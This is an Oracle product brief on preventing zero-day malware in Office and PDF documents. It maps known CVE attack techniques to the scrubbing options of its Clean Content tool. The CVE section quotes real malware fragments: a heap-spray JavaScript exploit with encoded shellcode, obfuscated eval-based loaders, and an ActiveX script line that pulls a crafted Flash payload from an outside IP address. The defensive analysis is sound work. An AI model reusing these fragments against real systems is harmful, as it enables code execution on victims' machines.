Zero Day Malware Threat Prevention

Ensuring Document Safety with Outside In Clean Content

ORACLE BRIEF | JULY 2015

This brief describes how Oracle Outside In Clean Content can be used to remove and neutralize zero day malware threats deployed through Microsoft Office and Adobe PDF documents. It should be of interest to software developers whose applications allow users to share or distribute Microsoft Office and PDF documents.

Table of Contents

Introduction

The use of malicious software to infiltrate a computer or network has a long history ranging from disruptive pranks to large scale financial and identity theft. There is a constant race between attackers exploiting holes in the target systems and the software developers responsible for closing those holes. Malware can target systems in a variety of ways. At the lowest level, attacks exploit bugs in the BIOS or operating system software. Over time these low level holes have largely been closed, causing attackers to invent new approaches to create malware that can infiltrate a system.

A common malware approach taken today involves creating a document that carries the malware payload inside the document, crafted in such a way as to cause the malware to be executed when an unsuspecting user opens or interacts with that document. Document delivered malware continues to be a serious security threat in Office, PDF, and image and multi-media formats.[1]

This brief introduces Oracle Outside In Clean Content as a solution to address document based malware. Unlike many other solutions, document cleansing through Clean Content is designed as a zero day malware solution. This is because it does not examine documents for known malware; instead, it disables the general mechanisms by which malware can be executed from documents, validates document structure, optionally removes embeddings that often carry malware attacks, and removes data that serves little or no purpose but may carry a malware payload.

Throughout this brief the term ‘document’ is used as a general term to refer to numerous types of files including word processing, spreadsheet, presentation, image and multi-media formats. The term ‘crafted’ or ‘crafted content’ is used to describe the modification of a document made for the sole purpose of injecting malware into the document.

The Problem

There are two basic document based malware attack approaches: 1. Structural attacks using crafted content; and 2. Exploitation of programming and interactive application features. It is also important to note that the approaches are commonly used together and often applied to embedded content rather than the top level document. For example, a spreadsheet embedded into a word processing document or a Flash object in a PDF document.

[1] Watch Out! Macro-based malware is making a comeback, IDG News Service, January 7, 2015.

Structural Attacks using Crafted Content

A structural attack is a type of malware that targets what are essentially bugs in the software that opens a document of a particular type. One of the most common structural attacks is referred to as the Heap Spray approach. Attackers spend many hours studying the targeted software components in order to identify ways to cause the software to take a block of malware executable code and spray it over a range of memory and then either cause or wait for the system to execute that malware as executable code. Often times the same malware is sprayed over many ranges to increase the likelihood of execution. One common method to cause this behavior is to craft a document so that a particular piece of content in the document is given a length that is well beyond any logical value. For example, a two megabyte title field that contains the document title may contain a piece of malware code. A poorly written piece of software might simply read the entire two megabytes into memory at a location that only allowed for a much smaller buffer, causing a buffer overflow and leading to a heap spray. Combating this type of malware is further complicated by the fact that today's applications often leverage a wide range of system libraries and cross application components, any of which may be targeted using maliciously crafted content.

Programming and Interactive Application Features

The second malware approach is to create a document that leverages the rich Programming and Interactive Features of the application itself to cause malware to be loaded and executed. For example, PDF supports a feature called a *launch action*. This launch feature allows a document embedded inside the PDF to be executed by Acrobat using the operating system. The launch behavior can be setup to occur immediately when the document is opened or any of a vast list of other triggers. A perfectly innocent looking document can in fact be silently executing vicious code. There are many examples where the powerful features of Office and Acrobat can be used to cause the application itself to execute a piece of malware. That code may take the form of JavaScript, Macros, Visual Basic routines, and even old Postscript language code. It is also common to combine the interactive and programming features with the heap spray method

Specific Attacks and Solutions

The sections below describe known malware injection techniques used in Adobe PDF and Microsoft Office documents. Each item includes a description of the approach, how Clean Content neutralizes it, and provides references to specific malware examples that have leveraged such an approach. Malware examples are referenced by a CVE identifier. CVE® is a dictionary of publicly known information security vulnerabilities and exposures. Details on CVE's can be found at https://cve.mitre.org

Clean Content removes malware by targeting both structural attacks and programming and interactive application features. Programming and interactive features can be selectively removed using the Clean Content options. Structural attacks are addressed in several ways. First, parsing nearly every stream of bytes in the document and validating them against a strongly typed object model allows for the detection and reporting of corrupted sections of a document that may be associated with malware. Second, certain embedded streams that are often malware threats can be removed. Third, creating a cleansed document automatically removes, or zeroes out, extraneous byte ranges that were not even part of the document object model often removing or neutralizing the malware payload.

Adobe Portable Document Format

The Adobe PDF format is a common target of malware. Attackers often use PDF programming features to activate or load embeddings that target specific exploits. In many cases the PDF document is heavily obfuscated and corrupted in ways that prevent filters from detecting malware. Clean Content is aware of many of the obfuscation techniques and uses strongly typed parsing to validate the contents of a PDF document. In many cases Clean Content will detect and report specific errors in the PDF document. Documents that generate severe parsing errors cannot be cleansed and may represent an increased risk for malware. Clean Content is also designed to detect and recover from many errors that have been found to be benign in order to account for common mistakes made by the vast number of PDF generators on the market. The section below describes specific ways that PDF is leveraged by malware.

PDF Actions

The PDF format supports a set of interactive features called actions. Example actions include jumping to a particular destination in a document, thread, or URI location, launching an external file, playing a sound or movie, importing or submitting form data, executing JavaScript code, and numerous other interactive features. Actions can be associated with outline items, annotations, form fields, pages, or the document as a whole and can be triggered based on specific user or document interactions like opening the document, viewing a page, or selecting an outline item. Each triggering event can execute one or more actions in a specific sequence which may be safe by themselves but executed together can trigger malicious actions.

PDF actions are at the heart of many malware instances. A common malware approach involves using the launch action to launch an embedded executable file.

Clean Content can be configured to scrub all types of actions, or only those that are most dangerous. For example, internal hyperlinks can be retained while dangerous actions, such as launching files and executing JavaScript, can be removed.

Examples: CVE-2010-3654, CVE-2010-4091

PDF Java Script

As mentioned above, PDF JavaScript can be triggered using a PDF Action. It can also be triggered from several other contexts. Specifically, it can be associated with the 3D Artwork feature that Adobe introduced in version 1.6 of the PDF format. It can also be triggered several ways from an Adobe FDF file (PDF 1.2 Forms Data Format). Additionally, JavaScript can be defined at the document level for use from within other scripts. Note that some forms of malware hide JavaScript in ways that are not documented and then load and execute that JavaScript using one of the documented mechanisms.

Clean Content allows removal of all JavaScript defined by any mechanism documented in the PDF file format. This includes those associated with actions and otherwise, allowing a convenient way to simply remove all JavaScript. Note that this will not remove JavaScript that is hidden in the PDF content using some obfuscated approach but will remove the JavaScript responsible for activating the hidden JavaScript, thus neutralizing the malware.

Examples: CVE-2010-3654, CVE-2008-2992, CVE-2010-4091, CVE-2009-4324, CVE-2009-0927, CVE-2007-5659

PDF Embedded File Streams

The PDF file format allows additional files to be embedded inside a PDF document. These embedded file streams allow files to be attached to the PDF document as a whole or be associated with a File Attachment annotation. Embedded File Streams can be used to carry a malware payload that is executed if the Embedded File Stream is executed.

Clean Content addresses embedded file stream malware by allowing removal of all embedded file streams or selective removal by file type. Clean Content includes file identification technology combined with a rich set of options to allow the user or administrator to decide whether certain types of embeddings should be removed, cleansed, or included in the final document. Clean Content also allows removal of specific PDF actions and PDF annotations that may in turn allow the file stream to be launched.

Example: CVE-2010-3654

PDF - XFA Forms

PDF 1.5 introduced a new forms architecture named Adobe XML Forms Architecture (XFA). This approach to forms leverages a completely different, XML based, embedded stream for describing interactive forms. The XFA format is a rich format that allows for many of the same programming and interactive features identified as PDF risks in this brief. The use of JavaScript in XFA forms has been a common source of malware. There have also been numerous examples where the XFA data streams have been compressed using the JBIG2 compression format in an attempt to further obfuscate the XFA content and to decrease the likelihood of signature based detection because JBIG2 compression is less likely to be implemented when processing the XFA stream.

Clean Content currently allows for the extraction of the XFA form to an external file. This allows custom solutions to analyze the XFA form and determine if the form contains suspicious content in order to determine the malware risk associated with the source PDF document.

Example: CVE-2010-0188

PDF - Crafted Embedded True Type Fonts

There have been several instances of malware implemented by crafting an embedded True Type font in order to exploit a bug in certain true type font libraries.

Clean Content does not currently have a solution to address this issue. Simply removing embedded true type fonts is not an option for PDF because PDF viewers have insufficient information to implement a replacement font.

Example: CVE-2010-2883

PDF – Crafted Multi-Media embeddings

The popularity of the Adobe Flash file format and Apple QuickTime has made both formats a target of malware. Malware is introduced into a crafted Flash or QuickTime file by exploiting vulnerabilities in the Media Players. Application updates address such exploits but outdated media players remain in many environments.

Clean Content can address removing Flash and QuickTime embeddings in the three ways that they can be embedded in a PDF. The first is to enable the scrubbing of embedded objects since any file can be attached in this manner. The second is to enable the scrubbing of file attachment annotations. The third is to enable scrubbing of Rich Media annotations since this is the typical way a Flash or QuickTime file is embedded into a PDF.

Examples: CVE-2010-3654, CVE-2011-0611

PDF – Crafted Images

Images have been known to be crafted to exploit bugs in image processing libraries.

Clean Content can be configured to allow developers using the SDK to extract, modify, and replace images. This functionality, originally developed for steganography detection and removal, can also be leveraged to integrate image analysis and sanitization with the goal of removing malware deployed through crafted images.

PDF – Crafted 3D Artwork

Acrobat includes support for the Universal 3D File Format embedded inside a PDF. The component responsible for render the 3D artwork has been a target of exploits.

Clean Content allows detection and removal of the use of U3D embeddings through detection and removal of 3D annotations.

Example: CVE-2011-2462

Microsoft Office

The Microsoft Office formats are a common target of malware. PowerPoint, Excel, and Word formats have been targeted in numerous ways as identified below.

Office - OLE Objects

The Object Linking and Embedding (OLE) infrastructure is a powerful feature that enables content from one application to be seamlessly incorporated into content from another application. Common examples include inserting a spreadsheet range into a word processing document or a chart into a presentation. OLE objects not only provide a viewable result in the parent document but also can be launched in order support modifying and updating the object. With this power comes additional risk because OLE objects can be the source of malware and the breadth of data types supported by OLE is virtually unlimited. The most obvious type of malware in this category involves embedding an executable as an OLE object and causing that object to be automatically activated when the Office document is first opened.

Clean Content supports scrubbing all or a subset of OLE objects stored in a document. Each OLE object can either be removed, recursively scrubbed based on the file type of object, or left in place. For example, an Excel spreadsheet embedded in Word document can either be removed or scrubbed.

Note that there is typically a visual rendering of the last view of an OLE object stored in the document. A valuable feature of Clean Content is the ability to retain the most recent visual rendering of the OLE object while removing the associated object data.

Examples: CVE-2014-6352, CVE-2012-0158, CVE-2011-1980, CVE-2012-0799

Office - Visual Basic Projects

Microsoft Office supports a rich programming infrastructure that allows documents to take on powerful interactive behavior. This feature allows programmers to develop code in the Visual Basic language and embed the resulting Visual Basic Project inside the document so that it travels with the document. This programming language allows access to the Office application features and document content which in turn makes it possible to develop malware that can create and deploy documents onto the target system.

Clean Content addresses this malware vector by removing the entire VB project from the document. The content of the document is retained. In many environments the use of VB projects is valuable during the authoring process but should not be retained once the document is released to external parties.

Examples: CVE-2012-0158, CVE-2011-1980, CVE-2011-0609

Office - Word Macros

Microsoft Word allows a series of commands to be recorded, stored, and subsequently executed. There are many hundreds of commands available, many of which are associated with application features available on the menu and toolbars. Macros also provide a mechanism to call into programming routines stored in an embedded Visual Basic Project. In the latest of version of Office these macros are closely tied to the Visual Basic feature but there is also macro functionality that predates Visual Basic Project storage. Macros can be leveraged by attackers to implement malware.

Clean Content supports removing all forms of Word macros while retaining the remainder of the document content. This effectively neutralizes malware created in this manner.

Example: CVE-2011-1980

Office Excel Macro Sheets

Microsoft Excel also allows macros to be recorded, stored, and executed. Macros are typically stored in an embedded Visual Basic Project but Excel also has a macro language that predates the Visual Basic method. Macros, including a macro that simply calls a VB routine, are stored in cells on a special kind of sheet called a macro sheet. As with Word, macros can be leveraged by attackers to implement malware.

Clean Content supports removing macro sheets while retaining the remainder of the spreadsheet content. This effectively neutralizes malware created in this manner.

Office – Crafted Office Content

This category of malware exploits flaws in the Office application by crafting specific data structures in the Office format to target vulnerabilities. Typically this type of malware leads to a structural attack allowing execution of the payload.

Clean Content is uniquely designed to parse nearly every byte in the core Office data streams and property streams. This process applies a strongly typed model to the data streams in order to detect invalid and corrupt sections in the data streams. Severe parsing issues result in an error during the scrubbing process. Documents that cause parsing errors cannot be scrubbed and should be flagged as risky.

Examples: CVE-2006-2492, CVE-2006-2389, CVE-2008-0081

Office – Crafted Multi-Media Embeddings

As mentioned earlier, the Adobe Flash file format and the Apple QuickTime formats are targets of malware. In Microsoft Office applications, Flash and QuickTime embeddings are stored using the OLE infrastructure.

Clean Content addresses removing Flash and QuickTime embeddings in an Office file by enabling the scrubbing of OLE Objects.

Examples: CVE-2011-0611, CVE-2012-1535, CVE-2012-0754, CVE-2011-0609

Office – Script enabled ActiveX Controls

ActiveX controls are supported by the Object Linking and Embedding (OLE) infrastructure and are used to conveniently allow add-ons to OLE enabled applications like Office. ActiveX controls are also commonly used to enhance web browsers. Some of these controls allow for interactions between a browser client and a web server in order to automatically download and display content from the server. While this type of client/server interaction is more prevalent in the web browsing experience there is nothing to prevent the same controls from being used inside Office documents.

ActiveX controls can contain binary executable content that is inherently dangerous. ActiveX controls that support the use of a scripting language are particularly dangerous because the scripting language can be used to download web-based malware.

Clean Content addresses this category of threat by scrubbing OLE Objects, including ActiveX controls.

Example: CVE-2012-0779

Office – Crafted True Type Fonts

There have been several instances of malware implemented by crafting an embedded True Type font in order to exploit a bug in certain true type font libraries.

Clean Content does not currently have a solution to address this issue. Unlike PDF, Office documents maintain sufficient information to allow the Office applications to do reasonable font replacement even when the embedded font is removed.

Example: CVE-2014-4148

Office – Crafted Images

Images have been known to be crafted to exploit bugs in image processing libraries.

Clean Content allows custom integrations to extract, modify, and replace images. This functionality, originally developed for steganography detection and removal, can also be leveraged to integrate image analysis and conversion with the goal of removing malware deployed through crafted images.

Office – Crafted Image stored in Thumbnail Property

This vulnerability is a unique instance of the more general crafted image vulnerability. In this case the image is stored as the thumbnail property.

Example: CVE-2010-3970

Clean Content Effectiveness Validation

In order to validate the functionality of Clean Content (CC) as a zero day malware solution the CC development team researched hundreds of malware instances found in the real world over the last 10 years. This effort focused on examining examples that have been documented and tracked by CVE identifiers.

This research was used as the basis for this brief. A set of examples has been selected that represents a cross section of the malware approaches seen to date. The attack approach is described followed by the result of cleansing the document using Clean Content. The list includes cases that Clean Content can address through cleansing, cases where Clean Content detects syntax errors in the document that prevent cleansing, and cases that Clean Content cannot handle in version 2015.1

CVE-2011-0611 – PDF or Office with crafted embedded Flash

This malware leverages a flaw in the Adobe Flash Player. When found in a PDF document this vulnerability leverages the Rich Media annotation feature of the PDF file format to embed a Flash object that exploits the Flash player. The Rich Media annotation is set to activate the Flash object as soon as any portion of the object comes into view on the page on which it is embedded. When found in Office the crafted Flash is stored as an OLE object.

Clean Content has the ability to detect, identify, and remove embedded objects. Clean Content neutralizes this vulnerability by using the options to scrub embedded objects. This option includes fine grain control to allow individual types of embeddings to be removed according to their identification. In PDF, this type of flash embedding can also be removed by setting the Rich Media Annotations target option to scrub this type of annotation and any embedding it references.

CVE-2012-1535 – Office with crafted embedded Flash

This vulnerability, found in a Word document, leverages the OLE infrastructure to embed a crafted Flash object that causes a denial of service attack.

Clean Content neutralizes this vulnerability by setting the Embedded Object scrub target to remove Flash objects.

CVE-2010-3654 – Office with crafted embedded Flash

This is yet another example of malware that targets vulnerabilities in the Adobe Flash Player. This case also demonstrates the extent to which attackers will go to prevent typical anti-virus tools from detecting the malware. In an analysis of seven instances of this malware each case included a Flash embedding that was exactly the same size but had small modified sections that resulted in a different signature for the SWF embedding.

Clean Content neutralizes this vulnerability by scrubbing Flash embeddings.

CVE-2008-2992 – PDF with JavaScript

This example uses JavaScript that calls the util.printf JavaScript function with a crafted format string argument that in turn causes a buffer overflow and subsequent execution of malware.

This case also demonstrates an attempt by the attacker to obfuscate the PDF document from filtering processes by using an uncommon technique for defining the names of dictionary entries in the PDF structure. The dictionary entries leverage hex escaping for portions of each named entry.

The structure below represents the format of a typical PDF JavaScript dictionary entry inside a PDF document. This dictionary of information indicates it represents a JavaScript action with the JavaScript stored in object number 6.

```
<< /Type /Action /S /JavaScript 6 0 R>>
```

However, this malware obfuscates this information using partial hex encoding as shown below.

```
<<#54#79#70e/#41c#74io#6e/#53/J#61v#61Sc#72i#70#74/#4aS 6 0 R>>
```

Clean Content correctly processes the obfuscated keys and values in this dictionary and optionally extracts and scrubs the JavaScript accordingly. Clean Content removes this vulnerability when JavaScript is scrubbed under the Macros and Code target.

CVE-2010-4091 – PDF with JavaScript

This example also uses PDF with JavaScript to create a JavaScript heap spray followed by a call to this.printSeps that caused a crash in Acrobat. A page open action launches a small piece of JavaScript that in turn calls a JavaScript method named ‘exploit’ that contains the payload.

This example also demonstrates a common technique used by attackers to obfuscate the JavaScript code in an effort to avoid detection of suspicious techniques. Below is the extracted version of the payload code after decompression. Notice the use of the unescape() method to obfuscate

```
function exploit()

{

function sdlfkasdfiasdflaksdflaf(number){
```

```
large_hahacode=unescape("%u02ba%u0202%u8002%uffca%u6a42%u5843%ucd52%u5a2e%u053c%uf174%u80
42%ufcfa%ueb77%u8fb8%u9050%u4058%u023b%uf075%ue2ff");


var large_heap = unescape("%u1c1c%u0c1c");

while(large_heap.length <=number) large_heap+=large_heap;

large_heap=large_heap.substring(0,32768 - large_hahacode.length);


memory=new Array();

for(i=0;i<0x1024;i++) {

    memory[i]= large_heap + large_hahacode;

}

this.printSeps();

}


number=10000;

number=number*3+2768;

var a=app.viewerVersion;

if ((a>=8)||(a<10))

sdlfkasdfiasdflaksdflaf(number)

else

exit();

}
```

Clean Content removes this vulnerability when JavaScript is scrubbed under the Macros and Code target.

CVE-2009-4324 – PDF with JavaScript and unique use of Creator property

This PDF document includes a Creator property that is set to a compressed stream and then uses obfuscated JavaScript to get the creator from the object model. It then uses the eval() method to execute the contents of the modified stream. The resulting JavaScript in turn calls the media newPlayer after executing a heap spray.

```
/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc>
SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX
<POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX
<POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX
<POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX
<POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc>
```

SaKsonifbdh*/this.creator.replace(/z/igm,'%')/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/)/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);

Removing the comment sections readily shows that the creator property is being run through the unescape() method, followed by a replacement modification, and then evaluated as JavaScript.

var b=this.creator;var a=unescape(b); eval(unescape(this.creator.replace(/z/igm,'%')));

Clean Content removes this vulnerability when JavaScript is scrubbed under the Macros and Code target. Clean Content also supports removal and modification of the Creator property. Scrubbing document properties using Clean Content removes the payload.

CVE-2009-0927 – PDF with JavaScript and unique use of Creator property

This PDF document uses the same malware delivery technique as found in CVE-2009-4324 but embeds a different payload. This payload leverages a crafted argument to the getIcon() method in a Collab object.

Clean Content removes this vulnerability when JavaScript is scrubbed under the Macros and Code target or by scrubbing the Creator document property.

CVE-2007-5659 – PDF with JavaScript and unique use of Creator property

This PDF document also uses the same malware delivery technique as found in CVE-2009-4324 but embeds a different payload. This payload targets vulnerabilities in the gnu.java.security.util.PRNG class.

Clean Content removes this vulnerability when JavaScript is scrubbed under the Macros and Code target or by scrubbing the Creator document property.

CVE-2010-2883 – PDF with crafted True Type Font

This attack uses a crafted true type font to exploit a stack-based buffer overflow in CoolType.dll in certain versions of Adobe Reader and Acrobat on both Windows and Mac OS X. The crafted TTF uses a long field in the Smart Independent Glyphets (SING) table to cause the exploit.

Clean Content does not have a general solution to addressing crafted embedded fonts that exploit font rendering library issues.

CVE-2011-2462 – PDF with crafted Universal 3D Artwork

The PDF file format includes support for rich 3D viewing through support for the Universal 3D File Format. The component in Acrobat that is responsible for rendering the 3D model was a target of this exploit. This type of malware often includes a small piece of JavaScript.

Clean Content removes this vulnerability when 3D annotations are removed through the PDF 3D Artwork Annotations. Note that some examples that target this vulnerability contain either severe errors or encryption that prevents Clean Content from scrubbing the document. However, Clean Content will still detect and report the use of 3D annotations and also report the use of encryption and the existence of severe errors in the file.

CVE-2014-6352 – PowerPoint with OLE executable

This attack uses two embedded OLE objects, each containing a payload. One OLE object contains an executable that is run via OLE. An interesting note about this file is that this PPTX file used the ZIP structure as required by the

PowerPoint format but does not actually compress the ZIP entries and also includes unexpected directory entries in the zip file entries. This is not common in Office documents and is likely due to using some compression application to rebuild the original file.

Clean Content correctly processes the underlying ZIP structure in spite of the irregularities. The exploit is removed when OLE objects are scrubbed under the Embedded Objects target. The Clean Content options allow fine grained control over the types of OLE objects that should be removed, including identification of embedded Windows Executable files.

CVE-2010-0188 – PDF with XFA containing JavaScript

This example uses JavaScript found inside an XFA form as the mechanism to drop its payload. The payload attempts to contact an external site and download additional files.

Clean Content throws an error exception when attempting to parse this file due to one of many corrupted sections of the file. This prevents scrubbing the file but is a clear indication the file should not be trusted.

CVE-2010-3970 – Office (.doc) file with crafted Thumbnail image

This document exploited a bug in the Windows shell graphics processor. This exploit can be attacked in a large variety of ways by simply including a crafted image in a document. In this example this was accomplished using the unique technique of storing the crafted image as the thumbnail property of the document. In fact, the file was not even a valid Word document; it simply leveraged the OLE Structured Storage standard used by Office files to create a file with document properties. This approach allowed the attack to be initiated through a directory listing in Windows Explorer with the thumbnail view enabled or by viewing the document properties of the file. Opening the file was not required to initiate the attack.

Clean Content addresses this CVE through the removal of the Thumbnail document property. There is very little value in retaining thumbnail properties in Office and PDF documents making this a feature that is logical to scrub from files. Removing this property negates this particular risk as well as slightly decreasing document size. Also note that the attempt to obfuscate this attack from filtering technologies by masquerading as a Word file did not circumvent Clean Content detection and scrubbing of the OLE thumbnail property.

CVE-2006-2492 – Office (.doc) file with crafted data structures

This file contains numerous cases of corrupted data structures in the primary Word document data stream. The corruption exploits vulnerability in the Office application that leads to the execution of the payload through a heap spray.

Clean Content detects the use of corrupted data structures during the parsing process and the level of corruption causes a trapped exception during the scrubbing process. This is an example where the strict nature of the parsing and scrubbing process will often detect and fail with a warning, error, or exception. Documents that cannot be scrubbed cannot be trusted.

CVE-2006-2389 – Office (.doc) file with crafted data structures

This example targeted a flaw in the handling of document properties by crafting a corrupt custom property that allowed execution of arbitrary code. The primary Word document data stream also contains syntax errors.

Clean Content detects the use of corrupted data structures during the parsing process and the level of corruption causes a trapped exception during the scrubbing process. This is another example where the strict nature of the parsing and scrubbing process will often detect and fail with a warning, error, or exception. Documents that cannot be scrubbed should not be trusted.

CVE-2012-0158 – Password protected Office (.xls) files with OLE controls

The malware used in this example targeted vulnerabilities in the common controls available in Office to add certain user interface controls to a document. In many instances the attackers took the extra step of password protecting the files with the password 8861. The files were then emailed as attachments and the password was provided to the user. Using this technique results in encryption of the XLS file making signature based malware detection very difficult. Password protection also implies a level of security legitimacy to unsuspecting users.

Clean Content detects and reports the use of a Visual Basic Project and the use of targeted MSComctlLib Active/X controls. In the case where the malware files do not use encryption Clean Content can scrub the malware by removing the use of the OLE controls and the Visual Basic Project. In the case of files that are encrypted Clean Content will detect and report the use of encryption and will only extract information if the correct password is provided. Clean Content will not scrub encrypted files with or without the password. Encrypted files should only be trusted if they come from a trusted source.

CVE-2011-1980 – Office files with ActiveX and VB Project

This malware targets vulnerability in the Office library loading search path by dropping a payload into the current working directory matching a name of an Office component. Office would then load and execute the payload instead of the trusted component. The method of dropping the payload includes a combination of old style of Word macros that predate Visual Basic combined with a Visual Basic Project and OLE list controls.

Clean Content detects and reports the use of a Visual Basic Project, pre VB macros, and the OLE control. The scrubbing process can remove all 3 vectors that may participate in the payload drop, removing the malware.

CVE-2008-0081– Office (.xls) file with crafted data structures

This file contains a truncated Excel workbook stream as well as a VBA project. The VBA project targets a vulnerability that can lead to execution of arbitrary code.

Clean Content detects the use of the VBA project and the truncated data stream during the parsing process and the level of corruption causes a trapped exception during the scrubbing process. This is another example where the strict nature of the parsing and scrubbing process will often detect and fail with a warning, error, or exception. Documents that cannot be scrubbed should not be trusted. If the file had only leveraged the VBA project and did not include a truncated workbook stream then Clean Content would still detect, report, and optionally scrub the VBA project.

CVE-2012-0779 – Office (.doc) with ActiveX with Malicious Scripting

This malware uses an ActiveX control called ScriptBridge to run JavaScript that downloads a crafted Flash document that targeted a bug in the Adobe Flash Player. A close look at the content of the ActiveX control data shows the following JavaScript.

```
Javascript:eval(document.write(unescape('%3Cembed%20src%3Dhttp://204.45.73.69/essais.swf?info=789c333230
d13331d53337d633b3b432313106001afa0338&infosize=00FC000%3E%3C/embed%3E')))
```

Clean Content supports scrubbing of ActiveX controls and this will remove the trigger that retrieves the payload from an external website. The most recent image representation of the ActiveX control remains in the file. This allows the most recent visual representation of the ActiveX control to remain in the file while removing the active content associated with the control.

CVE-2012-0754 – Office (.doc) and Crafted Flash

This malware distribution leverages the common approach of including a crafted flash embedding in an Office document in order to exploit a vulnerability in the Adobe Flash player. A slight twist was introduced by placing the OLE embedded Flash inside a footer. This has the potential of confusing some filtering technologies and possibly obfuscating the Flash object from the user view.

As in previous similar cases, Clean Content cleanses the document of this malware by removing the OLE objects. After cleansing, the document will contain only a static image that represents the Flash object and the actual Flash embedding will be neutralized.

CVE-2011-0609 – Office (.xls) with VBA and Crafted Flash

This is yet another example of using a crafted Flash embedding to exploit a vulnerability in the Adobe Flash player. This example differs slightly from previous cases because it leverages a Control Stream (Ctls) inside the Office format that is used only for stream based persistence of OLE objects and ActiveX controls. This demonstrates how filtering technology must be aware of myriad ways that OLE objects and ActiveX controls can be persisted in documents.

Clean Content removes this malware example when cleansing embedded objects from the document. In this example, the cleansing process removes the VBA project and the data structures in the Excel worksheet that reference the embedded flash. The 'Ctls' stream that contains all stream based persisted OLE objects and ActiveX controls is removed if all types of embeddings are removed.

CVE-2014-4148 – Office (.doc) with Crafted True Type Font

This True Type font exploit targeted the underlying Microsoft Windows True Type font subsystem. This sophisticated and dangerous attack came in the form of a TTF embedded in an Office document that used the TTF fpgm table (Font Program).

Clean Content does not have a general solution to addressing crafted embedded fonts that exploit font rendering library issues.

Defense in Depth

No malware solution is 100% effective. This is mainly because there is no definitive way to determine whether a piece of software has a bug that can be exploited to allow random code execution. However, there are many ways to decrease the likelihood that malware reaches its target. The list below describes specific malware defense mechanisms. In every case, Clean Content can be used as an additional form of protection. In several cases called out below, Clean Content can also be leveraged to enhance the functionality of an existing malware solution.

Signature Based Detection

Signature based solutions are applied by Anti-Virus services that monitor every file that enters the targeted computer system. This solution scans the incoming document looking for a stream of bytes that match a known malware instance. When a file containing malware is detected, the file is immediately quarantined and options may then exist for removing the malware before accessing the document. This solution has numerous flaws. First, it fails the zero-day test since it depends upon the malware first being identified on targeted systems followed by updating the virus detection program with the signature of the new malware. Second, attackers have developed ways to inject malware that essentially allows the same piece of underlying malware to readily be stored in a dramatically different way that avoids signature detection. This makes it difficult for the signature based solution to keep up.

Clean Content has a particular feature that makes it useful when combined with signature based detection. It is common for malware to be stored in a compressed or encrypted format when stored inside a PDF or Office document. For this reason the malware is not recognized by signature based detection until it is decrypted and decompressed. Clean Content has the ability to extract embedded files and streams that can then be run through signature based detection prior to delivering a document to the end user system.

Virtual Execution and Detection (Sandbox or Combustion Chamber)

This approach to detecting malware involves opening suspicious files in a virtual machine environment and monitoring the system to detect malicious behavior. It essentially detonates the malware in a controlled environment. This approach has gained favor but has also spurred innovative responses from attackers to bypass this form of detection. The latest malware variants are sometimes able to detect that they are running in a virtual environment and turn off the malicious behavior to avoid detection. The file then passes the virtual execution, moving through the system until it reaches a targeted destination. Furthermore, this approach depends on the ability of the implementation to actually detect malicious behavior.

Not all malware uses easily detectable behaviors to deliver malicious intent. For example, a document may contain a form that must be submitted to an external website with confidential information. This is perfectly normal in a trusted environment but dangerous in an un-trusted environment. Finally, this approach also depends on the ability to mimic the targeted environment very closely. Imagine that the malware resides inside an embedded object in a Word file but the embedded object (and malware) is only executed if the user double clicks on the embedding and launches an associated application. The sandbox must be capable of duplicating that behavior, including having installed every OLE object server application ever developed. This could mean installing every application ever designed for that system.

Clean Content can be leveraged to enhance the combustion chamber solution by providing valuable analysis and attributes of incoming documents. This information can be used to drive real time analytics about the risk associated with documents passing through a network. For example, a sudden spike in PDF documents that contain JavaScript could be indicative of an attack. Furthermore, the decision to run a document through a combustion chamber could be based on the level of risk associated based on the Clean Content analysis.

Print to PDF

Highly secure environments may choose to address malware risks by printing the original document to the PDF file format. For example, Office documents are replaced by a viewable PDF document. When the original document is a PDF it is replaced by a new PDF that represents a printed version of the original (commonly referred to as refrying). This process is typically very effective at avoiding the original malware. However, the significant drawback is that the original document functionality is lost.

Clean Content can enhance this solution by providing a risk assessment that assists in deciding whether a document requires a refry solution. It can also be used to clean malware from documents before printing to PDF in order to prevent an attack on the system doing the printing.

Application Updates

This solution involves updating your application, for example Office, with a new version that fixes the vulnerability that lead to a Heap Spray. This is a great solution as long as every targeted user has actually installed the update. In fact, this solution requires that any application that suffers from the vulnerability has been fixed and updated since many formats can now be opened by a range of applications. One positive development in the software community is that development tools have been created specifically to assist developers and QA engineers in limiting the risk that a piece of software allows heap sprays to occur. Also, certain programming languages that leverage virtual machines have much better built in safety mechanisms along this front than others. Still, it is easy to imagine how old malware is still targeting applications that have never been updated. This solution fails the zero-day test.

Disabling Risky Application Features at the End User

Numerous forms of malware leverage application features like JavaScript, Macros, and Visual Basic routines to deploy the malicious payload. The latest versions of Office and Acrobat have options that require users to enable these potentially dangerous features before they are executed. Users can then make an informed decision on whether the document is from a trusted source. This solution is valuable but suffers from numerous weaknesses. First, it depends on making sure the latest version of each application is up to date and allows the dangerous features to be disabled. Second, it depends on user judgment of a trusted source. Numerous cases of malware use document content to convince the user to enable macro and code execution.

Summary

It is clear that deep document analysis and cleansing represents a new and powerful tool to help protect networks and computers from malware attacks. Clean Content is at the leading edge of this effort and is uniquely designed to be integrated into applications across a wide range of platforms and programming interfaces.

Oracle Corporation, World Headquarters
500 Oracle Parkway
Redwood Shores, CA 94065, USA

Worldwide Inquiries
Phone: +1.650.506.7000
Fax: +1.650.506.7200

Zero Day Malware Threat Prevention
July 2015
Author: Joe Keslin
Contributing Authors: Phil Boutros, Julie Garrett , Doug Markey, Tom Chwojko-Frank